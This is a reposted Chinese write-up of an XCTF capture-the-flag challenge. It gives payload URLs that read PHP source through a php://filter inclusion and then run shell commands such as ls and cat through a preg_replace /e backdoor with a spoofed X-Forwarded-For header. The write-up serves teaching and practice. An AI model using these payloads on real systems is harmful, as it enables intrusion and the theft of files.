加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

[CTF]文件包含(php伪协议)+代码执行(XCTF 4th-CyberEarth)

发布时间:2020-12-13 21:28:51 所属栏目:PHP教程 来源:网络整理
导读:原作者:admin [原理] 文件包含读源码、x-forwarded-for preg_replace 函数执行一个正则表达式的搜索和替换,preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。 [目的] 掌握正则表达式、伪协议读取源码 [环境] windows [工具] firefox、b

原作者:admin

[原理]
文件包含读源码、x-forwarded-for

preg_replace 函数执行一个正则表达式的搜索和替换,preg_replce正则表达式部分包含e参数的时候,进行替换的部分会被执行。

[目的]
掌握正则表达式、伪协议读取源码

[环境]
windows

[工具]
firefox、burp

[步骤]
1.进入云平台设备维护中心页面,利用php伪协议读取源码。

http://111.198.29.45:44740/index.php?page=php://filter/convert.base64-encode/resource=index.php

2.将得到的源码进行base64解密处理,获取到index.php的源码,在121行可以发现后门,如图所示。

3.对此段代码进行审计,可以发现需要将X_FORWARDED_FOR设置为127.0.0.1,并且用get方式传递三个参数传递给preg_replace函数。

这里介绍一下preg_replace函数:

其实就是PHP里的正则表达式,这里的正则匹配我需要单独写一篇关于正则的博客。等待后续吧....

4.使用burp修改http请求头参数,添加X_FORWARDED_FOR,将url设置为

/index.php?pat=/(.*)/e&rep=system(‘ls‘)&sub=aa 可以查看文件列表,如图所示。

5.将url设置为 /index.php?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir‘)&sub=aa 查看s3chahahaDir文件夹,发现flag文件夹。

6.将url设置为 /index.php?pat=/(.*)/e&rep=system(‘ls+s3chahahaDir/flag‘)&sub=aa 查看flag文件夹,发现flag.php文件。

7.将url设置为 /index.php?pat=/(.*)/e&rep=system(‘cat+s3chahahaDir/flag/flag.php‘)&sub=aa 查看flag,如图所示。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读